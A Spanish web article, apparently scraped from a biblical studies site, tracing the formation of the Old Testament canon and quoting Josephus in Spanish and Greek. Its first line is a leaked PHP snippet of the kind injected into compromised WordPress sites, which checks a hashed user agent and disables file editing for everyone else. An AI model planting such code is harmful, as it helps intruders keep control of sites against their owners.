if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } HISTORIA DEL CANON BÍBLICO – Página: 2 – Texto Bíblico

Entre Nehemías y los Macabeos

HISTORIA DEL CANON BÍBLICO

I – ANTIGUO TESTAMENTO

Jewish Antiquities

Entre Nehemías y los Macabeos

Apenas si hay registros existentes de la historia de los judíos durante los siglos IV y III a. C. Sólo se conocen dos registros de este período que tengan alguna relación con la historia de la Biblia:

(1) La tradición de la visita de Alejandro a Jerusalén y
(2) la preparación de la traducción griega del Antiguo Testamento hecha en Egipto y llamada la Septuaginta (generalmente se abrevia LXX).

De acuerdo con Josefo, la visita de Alejandro a Jerusalén se efectuó después de la caída de Gaza, en noviembre del año 332 AC. Según el relato, cuando fue a castigar a los judíos por haber rehusado ayudarle con tropas en su guerra contra los persas, fuera de las murallas de Jerusalén vino a su encuentro una procesión de sacerdotes presididos por el sumo sacerdote Jadúa. Se dice que entonces el rey fue llevado al templo, donde se le dio la oportunidad de ofrecer sacrificios y se le mostró, en el libro de Daniel, que uno de los griegos – presumiblemente Alejandro – estaba designado por las profecías divinas para destruir el imperio persa. Esto complació tanto a Alejandro que confirió favores a los judíos (Josefo, Antigüedades, Libro XI, capítulo VIII. 4, 5).¹

El relato, tal como lo presenta Josefo, ha sido considerado como ficticio por la mayoría de los eruditos. Su aceptación requeriría la existencia del libro de Daniel en el tiempo de Alejandro Magno, al paso que ellos sostienen que el libro no fue escrito antes del período de los Macabeos, en el siglo II AC. Sin embargo, hay abundantes evidencias internas a favor de la verdad de este relato. Si es verdadero, el relato proporciona una prueba más de que los judíos no sólo poseían el libro de Daniel sino que también estudiaban las profecías que contenía.

La traducción de la Septuaginta (LXX) fue preparada por los judíos de habla griega de Egipto, pero pronto alcanzó una circulación considerable entre los judíos que estaban ampliamente dispersos.

Las fuentes para conocer su origen están en:
(1) La reputada Carta de Aristeas, escrita posiblemente entre 96 y 63 a. C;
(2) Una declaración de Filón, filósofo judío alejandrino del tiempo de Cristo (Filón, Vida de Moisés II. 5-7),
(3) Los libros de Josefo, escritos poco después (Antigüedades xii. 2; Contra Apión II. 4).

Antiquitates Iudaice libri XX, De bello Iudaico libri VII.
Antiquitates Iudaice libri XX, De bello Iudaico libri VII.

En estas obras se narra un relato legendario en cuanto a la traducción del Pentateuco por 72 eruditos judíos, en 72 días, durante el reinado del rey Tolomeo II de Egipto (285-247 a. C). El relato nos dice que esos hombres trabajaron independientemente, pero produjeron 72 ejemplares de una traducción en la cual concordaba cada palabra, lo que mostraba que su traducción había sido realizada bajo la inspiración del Espíritu Santo.

Aunque este relato fue urdido con el propósito de conseguir una pronta aceptación de la traducción griega entre los judíos y de colocarla en pie de igualdad con el texto hebreo, fuera de duda contiene algunos hechos históricos. Uno de ellos es que la traducción comenzó con el Pentateuco y que se llevó a cabo bajo Tolomeo II. No se sabe cuándo se completó la traducción de todo el Antiguo Testamento. Esto puede haber sucedido en el siglo III a. C o a comienzos del siglo II.

Sin embargo, la Septuaginta completa es mencionada por el traductor del Eclesiástico de Jesús Ben Sirác, en el prólogo que añadió a este libro apócrifo. El prólogo fue escrito por el año 132 a. C, y se refiere a la Biblia griega como algo que ya existía. Al hacer referencia al libro del Eclesiástico, o Sabiduría de Jesús Ben Sirác, que fue compuesto en hebreo por el año 180 a. C, vale la pena señalar de paso que su autor tenía acceso a la mayoría de los libros del Antiguo Testamento. Esto se advierte porque cita, o se refiere, a 19 de los 24 libros de la Biblia hebrea.

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¹ Texto en español:

“4. Sanabalet, juzgando ser propicia la ocasión, abandonó la causa de Darío, y tomando con él ocho mil de sus súbditos, se rindió a Alejandro. Lo alcanzó ocupado en el sitio de Tiro, y le dijo que le entregaría las zonas que estaban bajo su dominio y que de buen grado lo aceptaba a él en vez de Darío. Alejandro lo recibió satisfecho; en cuanto a Sanabalet, tomando confianza, expuso sus propósitos, diciendo que tenía un yerno de nombre Manasés, hermano del pontífice de los judíos, Jad, y que con él había muchos hombres de la misma raza que querían que se
construyera un templo en su territorio. Añadió que era de su interés dividir a los judíos, pues si estando unidos tramaban algo, darían mucho que hacer a los reyes, como antes había acontecido con los asirios. Y es así como, con el permiso de Alejandro, Sanabalet diligentemente edificó el templo, y nombró sacerdote a Manasés, imaginando que esto sería un gran honor para sus nietos. Luego, después de siete meses, pasados en el sitio de Tiro y dos en el de Gaza, Alejandro, una vez conquistada Gaza, determinó subir a Jerusalén. Jad, al saber esto, temió y se angustió, recordando de qué modo recibió a los macedonios y que el rey estaría indignado por la anterior negativa. Por lo tanto, ordenó al pueblo que rogara y ofreció sacrificios a Dios para que protegiera a su pueblo y lo librara de los peligros que lo amenazaban. Como se durmiera después del sacrificio, Dios lo exhortó a que tuviera buen ánimo, que ornara la ciudad y abriera las puertas, y el pueblo con vestiduras blancas y él y los sacerdotes revestidos de sus ornamentos le salieran al encuentro, sin temer nada malo, pues Dios los protegería. Una vez despierto se alegró en gran manera y luego de contar a otros el oráculo, aprestó lo que en sueños sede había ordenado, para recibir al rey.

5. Cuando se informó que no se encontraba muy lejos de la ciudad, salió con los sacerdotes y los laicos, y avanzó al encuentro de Alejandro con una solemnidad y dignidad que no se podían comparar con las de otros pueblos. Marchó hasta un lugar denominado Safa. Esta palabra interpretada en griego significa Observatorio, pues desde allí se veían Jerusalén y el Templo. Los fenicios y caldeos que estaban en compañía del rey se imaginaban que éste les permitiría saquear la ciudad y encarnizarse con el pontífice, lo que parecía muy verosímil por su indignación contra el último; pero pasó todo lo contrario. Alejandro, al contemplar desde lejos a la multitud con vestidos blancos, a cuyo frente iban los sacerdotes con túnicas de lino, y el pontífice con su vestidura de color de jacinto tejida con oro, con la tiara en la cabeza y la lámina de oro en la que estaba escrito el nombre de Dios, se aceró solo y, antes de saludar al sacerdote, veneró este nombre. Todos los judíos entonces a una voz saludaron a Alejandro y lo rodearon. Los reyes de Siria y los restantes se admiraron y sospecharon que Alejandro había perdido el espíritu. Parmenio fué el único que se le acercó y le preguntó qué pasaba, que mientras todos lo adoraban a él, él se inclinaba frente al gran sacerdote de los judíos. -No lo adoré a él -dijo Alejandro- sino al Dios cuyo sumo sacerdocio ejerce. Lo vi en esta forma, en sueños, en Dión de Macedonia, mientras me preocupaba la forma de apoderarme de toda Asia,y me exhortó a que no dudara, y que procediera confiadamente; él conduciría mi ejército y me entregaría el imperio de los persas. Por esto, puesto que a ninguno otro vi en esta forma, ahora recordé la aparición y la exhortación. Creo que mi expedición se ha realizado por inspiración divina; es así como he vencido a Darío y me he impuesto a los persas y tendré éxito en los proyectos que elaboro en mi espíritu. Luego que dio esta respuesta a Parmenio, entró en la ciudad, dando la derecha al pontífice y seguido de todos los sacerdotes; subió al Templo y ofreció un sacrificio a Dios, de acuerdo con lo prescrito por el sumo sacerdote y dio pruebas de gran respeto al pontífice y a los sacerdotes. Le enseñaron el libro de Daniel, en el cual se anuncia que el imperio de los griegos destruirá al de los persas; creyendo que se refería a él, satisfecho despidió a la multitud. Los llamó de nuevo al día siguiente, y les dijo que pidieran lo que quisieran. El pontífice solicitó que se les permitiera vivir de acuerdo con sus leyes, y que cada siete años se los librara de pagar tributos; Alejandro lo otorgó. Además le pidieron que permitiera a los judíos que vivían en Babilonia y en Media que pudieran observar sus leyes; prometió que así se haría. Dijo luego a la multitud que si algunos querían agregarse a su ejército, podrían atenerse a sus costumbres, pues él estaba dispuesto a recibirlos; muchos de ellos con ánimo alegre se ofrecieron.”

Texto griego:

(4) Νομίσας δὲ καιρὸν ἐπιτήδειον ἔχειν ὁ Σαναβαλλέτης τῆς ἐπιβολῆς Δαρείου μὲν ἀπέγνω, λαβὼν δὲ ὀκτακισχιλίους τῶν ἀρχομένων ὑπ’ αὐτοῦ πρὸς Ἀλέξανδρον ἧκεν καὶ καταλαβὼν αὐτὸν ἀρχόμενον τῆς Τύρου πολιορκίας, ὧν τε αὐτὸς ἄρχει τόπων ἔλεγεν αὐτῷ παραδιδόναι τούτους καὶ δεσπότην αὐτὸν ἡδέως ἔχειν ἀντὶ Δαρείου τοῦ βασιλέως.  Ἀσμένως δ’ αὐτὸν προσδεξαμένου θαρρῶν ἤδη περὶ τῶν προκειμένων ὁ Σαναβαλλέτης αὐτῷ λόγους προσέφερεν δηλῶν, ὡς γαμβρὸν μὲν ἔχοι Μανασσῆ τοῦ τῶν Ἰουδαίων ἀρχιερέως Ἰαδδοῦ ἀδελφόν, πολλοὺς δὲ καὶ ἄλλους αὐτῷ συμπαρόντας τῶν ὁμοεθνῶν θέλειν ἱερὸν ἐν τοῖς ὑπ’ ἐκείνῳ τόποις ἤδη κατασκευάσαι. Τοῦτο δ’ εἶναι καὶ τῷ βασιλεῖ συμφέρον εἰς δύο διῃρῆσθαι τὴν Ἰουδαίων δύναμιν, ἵνα μὴ ὁμογνωμονοῦν τὸ ἔθνος μηδὲ συνεστός, εἰ νεωτερίσειέν ποτε, χαλεπὸν ᾖ τοῖς βασιλεῦσιν, καθὼς καὶ πρότερον τοῖς Ἀσσυρίων ἄρξασιν ἐγένετο. Συγχωρήσαντος δὲ Ἀλεξάνδρου πᾶσαν εἰσενεγκάμενος σπουδὴν ᾠκοδόμησεν ὁ Σαναβαλλέτης τὸν ναὸν καὶ ἱερέα τὸν Μανασσῆ κατέστησεν, μέγιστον γέρας ἡγησάμενος τοῖς ἐκ τῆς θυγατρὸς γενησομένοις τοῦτ’ ἔσεσθαι. Μηνῶν δ’ ἑπτὰ τῇ Τύρου πολιορκίᾳ διεληλυθότων καὶ δύο τῇ Γάζης ὁ μὲν Σαναβαλλέτης ἀπέθανεν. Ἀλέξανδρος δ’ ἐξελὼν τὴν Γάζαν ἐπὶ τὴν τῶν Ἱεροσολυμιτῶν πόλιν ἀναβαίνειν ἐσπουδάκει. Ὁ δ’ ἀρχιερεὺς Ἰαδδοῦς τοῦτ’ ἀκούσας ἦν ἐν ἀγωνίᾳ καὶ δέει, πῶς ἀπαντήσει τοῖς Μακεδόσιν ἀμηχανῶν ὀργιζομένου τοῦ βασιλέως ἐπὶ τῇ πρότερον ἀπειθείᾳ. Παραγγείλας οὖν ἱκεσίαν τῷ λαῷ καὶ θυσίαν τῷ θεῷ μετ’ αὐτοῦ προσφέρων ἐδεῖτο ὑπερασπίσαι τοῦ ἔθνους καὶ τῶν ἐπερχομένων κινδύνων ἀπαλλάξαι. Κατακοιμηθέντι δὲ μετὰ τὴν θυσίαν ἐχρημάτισεν αὐτῷ κατὰ τοὺς ὕπνους ὁ θεὸς θαρρεῖν καὶ στεφανοῦντας τὴν πόλιν ἀνοίγειν τὰς πύλας, καὶ τοὺς μὲν ἄλλους λευκαῖς ἐσθῆσιν, αὐτὸν δὲ μετὰ τῶν ἱερέων ταῖς νομίμοις στολαῖς ποιεῖσθαι τὴν ὑπάντησιν μηδὲν προσδοκῶντας πείσεσθαι δεινὸν προνοουμένου τοῦ θεοῦ. Διαναστὰς δὲ ἐκ τοῦ ὕπνου ἔχαιρέν τε μεγάλως αὐτὸς καὶ τὸ χρηματισθὲν αὐτῷ πᾶσι μηνύσας καὶ ποιήσας ὅσα κατὰ τοὺς ὕπνους αὐτῷ παρηγγέλη τὴν τοῦ βασιλέως παρουσίαν ἐξεδέχετο.

(5) Πυθόμενος δ’ αὐτὸν οὐ πόρρω τῆς πόλεως ὄντα πρόεισι μετὰ τῶν ἱερέων καὶ τοῦ πολιτικοῦ πλήθους, ἱεροπρεπῆ καὶ διαφέρουσαν τῶν ἄλλων ἐθνῶν ποιούμενος τὴν ὑπάντησιν εἰς τόπον τινὰ Σαφειν λεγόμενον. Τὸ δὲ ὄνομα τοῦτο μεταφερόμενον εἰς τὴν Ἑλληνικὴν γλῶτταν σκοπὸν σημαίνει· τά τε γὰρ Ἱεροσόλυμα καὶ τὸν ναὸν συνέβαινεν ἐκεῖθεν ἀφορᾶσθαι. [330] Τῶν δὲ Φοινίκων καὶ τῶν ἀκολουθούντων Χαλδαίων ὅσα βασιλέως ὀργὴν εἰκὸς ἦν ἐπιτρέψειν αὐτοῖς τήν τε πόλιν διαρπάσειν καὶ τὸν ἀρχιερέα μετ’ αἰκίας ἀπολέσειν λογιζομένων, τὰ ἐναντία τούτων ἐγένετο. [331] Ὁ γὰρ Ἀλέξανδρος ἔτι πόρρωθεν ἰδὼν τὸ μὲν πλῆθος ἐν ταῖς λευκαῖς ἐσθῆσιν, τοὺς δὲ ἱερεῖς προεστῶτας ἐν ταῖς βυσσίναις αὐτῶν, τὸν δὲ ἀρχιερέα ἐν τῇ ὑακινθίνῳ καὶ διαχρύσῳ στολῇ καὶ ἐπὶ τῆς κεφαλῆς ἔχοντα τὴν κίδαριν καὶ τὸ χρυσοῦν ἐπ’ αὐτῆς ἔλασμα, ᾧ τὸ τοῦ θεοῦ ἐγέγραπτο ὄνομα, προσελθὼν μόνος προσεκύνησεν τὸ ὄνομα καὶ τὸν ἀρχιερέα πρῶτος ἠσπάσατο. [332] Τῶν δὲ Ἰουδαίων ὁμοῦ πάντων μιᾷ φωνῇ τὸν Ἀλέξανδρον ἀσπασαμένων καὶ κυκλωσαμένων αὐτόν, οἱ μὲν τῆς Συρίας βασιλεῖς καὶ οἱ λοιποὶ τοῦτο ποιήσαντος κατεπλάγησαν καὶ διεφθάρθαι τῷ βασιλεῖ τὴν διάνοιαν ὑπελάμβανον, [333] Παρμενίωνος δὲ μόνου προσελθόντος αὐτῷ καὶ πυθομένου, τί δήποτε προσκυνούντων αὐτὸν ἁπάντων αὐτὸς προσκυνήσειεν τὸν Ἰουδαίων ἀρχιερέα; “οὐ τοῦτον, εἶπεν, προσεκύνησα, τὸν δὲ θεόν, οὗ τὴν ἀρχιερωσύνην οὗτος τετίμηται· [334] τοῦτον γὰρ καὶ κατὰ τοὺς ὕπνους εἶδον ἐν τῷ νῦν σχήματι ἐν Δίῳ τῆς Μακεδονίας τυγχάνων, καὶ πρὸς ἐμαυτὸν διασκεπτομένῳ μοι, πῶς ἂν κρατήσαιμι τῆς Ἀσίας, παρεκελεύετο μὴ μέλλειν ἀλλὰ θαρσοῦντα διαβαίνειν· αὐτὸς γὰρ ἡγήσεσθαί μου τῆς στρατιᾶς καὶ τὴν Περσῶν παραδώσειν ἀρχήν. [335] ὅθεν ἄλλον μὲν οὐδένα θεασάμενος ἐν τοιαύτῃ στολῇ, τοῦτον δὲ νῦν ἰδὼν καὶ τῆς κατὰ τοὺς ὕπνους ἀναμνησθεὶς ὄψεώς τε καὶ παρακελεύσεως, νομίζω θείᾳ πομπῇ τὴν στρατείαν πεποιημένος Δαρεῖον νικήσειν καὶ τὴν Περσῶν καταλύσειν δύναμιν καὶ πάνθ’ ὅσα κατὰ νοῦν ἐστί μοι προχωρήσειν.” [336] Ταῦτ’ εἰπὼν πρὸς τὸν Παρμενίωνα καὶ δεξιωσάμενος τὸν ἀρχιερέα τῶν Ἰουδαίων παραθεόντων εἰς τὴν πόλιν παραγίνεται. Καὶ ἀνελθὼν ἐπὶ τὸ ἱερὸν θύει μὲν τῷ θεῷ κατὰ τὴν τοῦ ἀρχιερέως ὑφήγησιν, αὐτὸν δὲ τὸν ἀρχιερέα καὶ τοὺς ἱερεῖς ἀξιοπρεπῶς ἐτίμησεν. [337] Δειχθείσης δ’ αὐτῷ τῆς Δανιήλου βίβλου, ἐν ᾗ τινα τῶν Ἑλλήνων καταλύσειν τὴν Περσῶν ἀρχὴν ἐδήλου, νομίσας αὐτὸς εἶναι ὁ σημαινόμενος τότε μὲν ἡσθεὶς ἀπέλυσε τὸ πλῆθος, τῇ δ’ ἐπιούσῃ προσκαλεσάμενος ἐκέλευσεν αὐτοὺς αἰτεῖσθαι δωρεάς, ἃς ἂν αὐτοὶ θέλωσιν. [338] Τοῦ δ’ ἀρχιερέως αἰτησαμένου χρήσασθαι τοῖς πατρίοις νόμοις καὶ τὸ ἕβδομον ἔτος ἀνείσφορον εἶναι, συνεχώρησεν πάντα. Παρακαλεσάντων δ’ αὐτόν, ἵνα καὶ τοὺς ἐν Βαβυλῶνι καὶ Μηδίᾳ Ἰουδαίους τοῖς ἰδίοις ἐπιτρέψῃ νόμοις χρῆσθαι, ἀσμένως ὑπέσχετο ποιήσειν ἅπερ ἀξιοῦσιν. [339] Εἰπόντος δ’ αὐτοῦ πρὸς τὸ πλῆθος, εἴ τινες αὐτῷ βούλονται συστρατεύειν τοῖς πατρίοις ἔθεσιν ἐμμένοντες καὶ κατὰ ταῦτα ζῶντες, ἑτοίμως ἔχειν ἐπάγεσθαι, πολλοὶ τὴν σὺν αὐτῷ στρατείαν ἠγάπησαν.

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 HISTORIA DEL CANON BÍBLICO

I – ANTIGUO TESTAMENTO

Introducción

El canon

División antigua y moderna del Antiguo Testamento

Antes del exilio en Babilonia

En el tiempo de Esdras-Nehemías

Entre Nehemías y los Macabeos

Desde los Macabeos hasta Cristo

El testimonio de Cristo y los apóstoles

Testimonios de judíos del primer siglo

En la iglesia cristiana primitiva

La iglesia católica y los apócrifos

Criterios protestantes acerca del canon

Resumen

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En el tiempo de Esdras-Nehemías

 HISTORIA DEL CANON BÍBLICO

I – ANTIGUO TESTAMENTO

FRAGMENTOS DE SEFER TORAH – Éxodo 4:18 a 11:10. Calahorra o Tudela, ss. XIV-XV. Dos fragmentos de piel.800 x 600 mm aprox. cada uno. Calahorra, Archivo Catedralicio y Diocesano de Calahorra y La Calzada.

En el tiempo de Esdras-Nehemías

En los libros del Antiguo Testamento que fueron escritos después del exilio, tales como los de Esdras y Nehemías, se hace referencia, ya sea por nombre o por alguna cita, a varios de los libros más antiguos de la Biblia.

También se habla de ciertos libros que han sido incorporados parcialmente a los libros de las Escrituras posteriores al exilio, o se han perdido.

Los 5 libros de Moisés – bajo los nombres de “libros de Moisés”, “ley de Jehová”, “libro de la ley de Jehová”, etc.- aparecen mencionados 7 veces en 1 y 2 de Crónicas; 17 veces en Esdras y Nehemías y una vez en Malaquías.

Que el libro de la ley (torah) era considerado como inspirado y “canónico” en el siglo V a. C., se ve por la gran reverencia que mostraba el pueblo cuando era abierto el libro (Nehemías 8:5, 6). Parecería que la expresión “libro de la ley” (torah) abarcara más que el “Pentateuco”, pues el mismo término es usado una vez por Jesús al referirse a los Salmos, cuando introduce citas de Salmos 35: 19 y 69: 4 con las palabras: “escrita en su ley” (Juan 15:25).

Muchos libros de origen anterior al exilio sobrevivieron a la destrucción de Jerusalén y al cautiverio de Babilonia. Esto se ve porque Daniel usó el libro de Jeremías durante el exilio de Babilonia (Daniel 9:2) y porque unos 20 libros diferentes se mencionan en los libros de Crónicas ya sea como habiendo proporcionado el material original para el contenido de esa obra, o como libros donde podía conseguirse información adicional acerca de muchos puntos que sólo fueron tocados superficialmente en las Crónicas.

El cronista posterior al exilio (2 Crónicas 36:22) se refirió a muchos libros, tales como “el libro de las crónicas de Samuel vidente” (1 Crónicas 29:29) las “crónicas” o “libros del profeta Natán” (1 Crónicas 29:29; 2 Crónicas 9: 29) y “la historia de lado profeta” (2 Crónicas 13: 22).

La tradición judía indica que Esdras y Nehemías tuvieron una parte evidente en la colección de los libros sagrados.

El apócrifo segundo libro de los Macabeos, escrito durante los comienzos del siglo I AC, contiene una carta supuestamente escrita por los judíos palestinos y Judas Macabeo al filósofo, judío Aristóbulo y a otros judíos de Egipto (2 Mac. 1:10). Esta carta se refiere a “los archivos y … Memorias del tiempo de Nehemías” y declara también que Nehemías fundó “una biblioteca” y “reunió los libros referentes a los reyes y a los profetas, los de David” (2 Macabeos 2:13, traducción de la BJ).

El historiador judío Josefo es otro escritor que coloca la terminación del canon del Antiguo Testamento en el tiempo de Esdras y Nehemías. Poco después de la caída de Jerusalén, en 70 DC, Josefo hizo la siguiente declaración importante:

“Desde el imperio de Artajerjes hasta nuestra época, todos los sucesos se han puesto por escrito; pero no merecen tanta autoridad y fe como los libros mencionados anteriormente, pues ya no hubo una sucesión exacta de profetas. Esto evidencia por qué tenemos en tanta veneración a nuestros libros. A pesar de los siglos transcurridos, nadie se ha atrevido a agregarles nada, o quitarles o cambiarles” (Josefo, Contra Apión, i. 8)

Esta declaración muestra que los judíos en el tiempo de Cristo estaban convencidos de que el canon había sido fijado en el tiempo de Esdras y Nehemías, que trabajaron bajo Artajerjes I.

Los judíos estaban mal dispuestos a anular esa decisión, o a añadir a las Escrituras tales como habían sido fijadas 500 años antes, especialmente porque nadie claramente reconocido como profeta se había levantado desde los días de Malaquías.

La importante declaración de Josefo concuerda bien con las observaciones que puede hacer el lector cuidadoso en el mismo Antiguo Testamento. Los últimos libros históricos – Crónicas, Esdras, Nehemías y Ester -, por ejemplo, consignan la historia de Israel hasta el período que sigue al exilio.

Las Crónicas y su continuación, Esdras-Nehemías, registran acontecimientos que sucedieron durante los siglos VI y V, pero no después.

Por lo tanto, la redacción del Antiguo Testamento, tal como lo conocemos ahora, se debe haber completado hacia el fin del siglo V AC, pues la continuación posterior de la historia no fue añadida al registro anterior. Ni aun se preservó junto con las Escrituras canónicas. Por consiguiente, debe haber estado cerrado el canon.

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LA HISTORIA DEL CANON DEL BÍBLICO

I – ANTIGUO TESTAMENTO

Introducción

El canon

División antigua y moderna del Antiguo Testamento

Antes del exilio en Babilonia

En el tiempo de Esdras-Nehemías

Entre Nehemías y los Macabeos

Desde los Macabeos hasta Cristo

El testimonio de Cristo y los apóstoles

Testimonios de judíos del primer siglo

En la iglesia cristiana primitiva

La iglesia católica y los apócrifos

Criterios protestantes acerca del canon

Resumen

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Antes del exilio en Babilonia

HISTORIA DEL CANON BÍBLICO

I – ANTIGUO TESTAMENTO

Moses with the Tablets of Stone (1659 painting by Rembrandt)

Antes del exilio en Babilonia

El origen de muchos de los libros del Antiguo Testamento, tomados por separado, puede rastrearse yendo hacia sus autores. Sin embargo, no hay información disponible en cuanto a colecciones más grandes de los libros del Antiguo Testamento antes del exilio en Babilonia. Las referencias preexílicas a los libros bíblicos aluden al Pentateuco.

Dios advirtió a Josué que “nunca se apartará de tu boca este libro de la ley” (Josué 1:8), y Josué, el sucesor de Moisés, animó al pueblo a “hacer todo lo que está escrito en el libro de la ley de Moisés” (cap. 23:6). También celebró una gran reunión donde públicamente se leyeron instrucciones del “libro de la ley” (cap. 8:34).

David también conocía el Pentateuco y trató de vivir de acuerdo con sus preceptos, como se puede deducir por el consejo que dio a su hijo Salomón, de que guardara los estatutos, mandamientos, decretos y testimonios del Señor “de la manera que está escrito en la ley de Moisés” (1 Reyes 2:3).

También el rey Amasías de Judá recibió alabanza por seguir ciertos requisitos como estaban escritos “en el libro de la ley de Moisés” (2 Reyes 14:6).

Estos aislados testimonios de la Biblia muestran que el Pentateuco era conocido desde el tiempo de Moisés hasta el período de los reyes de Judá. Sin embargo, hubo tiempos, especialmente durante el reinado de reyes impíos, cuando apenas si eran conocidas las Escrituras y, por así decirlo, tuvieron que ser redescubiertas.

Por ejemplo, esto sucedió en el tiempo del rey Josías, cuando durante la reparación del templo, fue encontrado “el libro de la ley” y leído, y sus requisitos fueron puestos en práctica una vez más (2 Reyes 22:8 a 23:24).

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 HISTORIA DEL CANON

I – ANTIGUO TESTAMENTO

Introducción

El canon

División antigua y moderna del Antiguo Testamento

Antes del exilio en Babilonia

En el tiempo de Esdras-Nehemías

Entre Nehemías y los Macabeos

Desde los Macabeos hasta Cristo

El testimonio de Cristo y los apóstoles

Testimonios de judíos del primer siglo

En la iglesia cristiana primitiva

La iglesia católica y los apócrifos

Criterios protestantes acerca del canon

Resumen

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División antigua y moderna

 HISTORIA DEL CANON BÍBLICO

I – ANTIGUO TESTAMENTO

Complete set of scrolls, constituting the entire Tanakh

División antigua y moderna

La expresión “canon del Antiguo Testamento” sencillamente significa los 39 libros del Antiguo Testamento aceptados por los protestantes que fueron escritos por profetas, historiadores y poetas inspirados en tiempos precristianos.

La división actual en tres secciones – históricos, poéticos y proféticos – que contiene 39 libros, se ha originado en las traducciones griegas y latinas de la Biblia donde se halla tal división.

El Antiguo Testamento hebreo consistía en 24 libros, que eran divididos en las siguientes tres divisiones principales:

1. La ley (torah) que contiene los cinco libros de Moisés, o Pentateuco.

2. Los profetas (nebi’im) subdivididos en:

(a) Cuatro “anteriores”, Josué, Jueces, (1 y 2) Samuel y (1 y 2) Reyes, y
(b) Cuatro “posteriores”, Isaías, Jeremías, Ezequiel y los doce profetas menores en un solo libro.

3. Los escritos (ketubim), constituidos por los once libros restantes, de los cuales Esdras-Nehemías y 1 y 2 de Crónicas forman cada uno un solo libro.

La triple división del Antiguo Testamento hebreo en el tiempo de Cristo es confirmada por sus propias palabras: “Era necesario que se cumpliese todo lo que está escrito de mí en [1] la ley de Moisés, en [2] los profetas y en [3] los salmos [el primer libro de la tercera división]” (Lucas 24:44).

El canon según las divisiones judías.JPG 1

Esta triple división es importante para la reconstrucción del proceso de canonización. La referencia extrabíblica datable más antigua a su existencia se encuentra en el prólogo del libro apócrifo de Jesús Ben Sirac, que se remonta al año 132 a.C. Otras fuentes, como el segundo libro de Macabeos, Filón y Josefo, citan divisiones similares.

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LA HISTORIA DEL CANON BÍBLICO

I – ANTIGUO TESTAMENTO

Introducción

El canon

División antigua y moderna del Antiguo Testamento

Antes del exilio en Babilonia

En el tiempo de Esdras-Nehemías

Entre Nehemías y los Macabeos

Desde los Macabeos hasta Cristo

El testimonio de Cristo y los apóstoles

Testimonios de judíos del primer siglo

En la iglesia cristiana primitiva

La iglesia católica y los apócrifos

Criterios protestantes acerca del canon

Resumen

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El canon

HISTORIA DEL CANON BÍBLICO

I – ANTIGUO TESTAMENTO

Gutenberg Bible of the New York Public Library, bought by James Lenox in 1847. Printed by Johannes Gutenberg, circa 1455.
Gutenberg Bible of the New York Public Library, bought by James Lenox in 1847. Printed by Johannes Gutenberg, circa 1455.

El canon

La palabra española “canon” proviene del término griego κανών [kanôn], que significa “caña”, “vara de medir”; “regla”, “principio”, “ley”, “norma”, “límite”En el sentido secundario, el canon es un conjunto de textos que “ha sido medido” y que ha sido tenido por digno de ser incluido en una colección de textos con autoridad vinculante para una comunidad religiosa. Por ello, el canon ha de relacionarse con el concepto de Escrituras, al igual que con el de inspiración. Texto canónico es aquel al que se le reconoce autoridad en una comunidad religiosa dada y al que se considera “inspirado” por Dios (2 Timoteo 3:16).

Sin embargo, el término “Escrituras” presenta un concepto más amplio que el más limitado de “canon”. Tenemos referencias a escritos inspirados, mencionados en el Antiguo Testamento y obra de la pluma de autores a quienes se consideraba inspirados, escritos que no se han incluido en el canon del AT: “los hechos del rey David, primeros y postreros, están escritos en el libro de las crónicas de Samuel vidente, en las crónicas del profeta Natán, y en las crónicas de Gad vidente“(1 Crónicas 29:29).

En el Antiguo Testamento existe una estrecha relación entre lo que Dios habla (cargado de autoridad) y la diseminación de esta revelación, ya sea en forma hablada o escrita (Éxodo 17:14; 24:4 ). Consignar las instrucciones recibidas de Dios era una consecuencia lógica, puesto que ello daba continuidad y una adhesión futura (Deuteronomio 31:9-13). Deuteronomio 31:26 indica la función de “testigo” de este “libro de la ley”. Además, en otros lugares del AT, el término hebreo עֵד [‘ed], “testigo”, “testimonio”, se relaciona a menudo con la verificación según una norma establecida (Deuteronomio 31:19, 21; Josué 22:27, 28, 34).

En tres ocasiones históricas específicas encontramos el concepto de una fuente escrita cargada de autoridad que tenía que ser seguida:

(1) Éxodo 24:7, en que el pueblo declara su compromiso con el libro de la ley revelado a Moisés en el Sinaí;

(2) 2 Reyes 23:3 y 2 Crónicas 34:32, en que el pueblo de Judá aceptó las palabras del libro de la ley encontrado en el templo por Hilcías en la época del rey Josías;

(3) Nehemías 8:9, en que Esdras leyó la ley a las personas que habían vuelto del exilio de Babilonia a Jerusalén. Mientras escuchaba, la gente lloraba, y Nehemías 8: 11 indica que habían comprendido el significado de la lectura y la responsabilidad que tenían.

Los tres acontecimientos tuvieron lugar con ocasión de una ceremonia relacionada con el establecimiento o la renovación de un pacto. Por lo tanto, parece válido llegar a la conclusión de que la relación de pacto entre Dios y su pueblo quedaba determinada por la adhesión de este a la “Palabra del Señor”.

Lógicamente, este concepto requería la existencia de una compilación llena de autoridad de esa “Palabra” del Señor. Es obvio que esta colección no era considerada una compilación humana, ni una colección basada en las preferencias de un dirigente religioso específico ni en una tradición religiosa. La compilación normativa del AT (y del NT) se basaba en la revelación de Dios de sí mismo.

El término κανών [kanôn] era perfectamente conocido y de uso frecuente en el griego helenístico. La palabra  era usada por los griegos para designar una regla investida de autoridad. De hecho, el mundo antiguo estaba lleno de cánones (o modelos o reglamentos) que guiaban los diferentes aspectos de la actividad humana.  En Gálatas 6: 16, Pablo utiliza el término en el sentido de una medida de la conducta cristiana que puede verificarse.¹ Sin embargo, en las Escrituras no se usa para designar el canon bíblico.

Al final del siglo primero de nuestra era, Clemente de Roma utiliza el término con referencia a la “tradición” cristiana. Escribió:Renunciemos a las consideraciones ociosas y vanas, y volvámonos a la norma [κανόνα {kanóna}] de nuestra santa vocación”“let us leave empty and vain thoughts, and come unto the glorious and venerable rule of our holy calling” (First Epistle Clement of Rome, chapter 7:2). Web: Early Christian Writigs.

Desde el siglo II en adelante, continuamente se recurrió a la regla de las enseñanzas cristianas con frases como “canon de la iglesia”, el “canon de la verdad”, o el “canon de la fe” (ver Brooke Foss Westcott, A general survey of the history of the canon of the New Testament during the first four centuries, pág. 543, 544).

Clemente de Alejandría se refiere al “canon de la verdad” (the canon of the truth) -κανόνα τῆς ἀληθείας [kanóna tês alêtheías]- (Stromata, [o Miscelaneas] 6. 15. 124.6 [pág. 222]); o The Stromata (Book VI), Chapter 15 [Philosophy and heresies, aids in discovering the truth <the canon of the truth>]; o aquí.

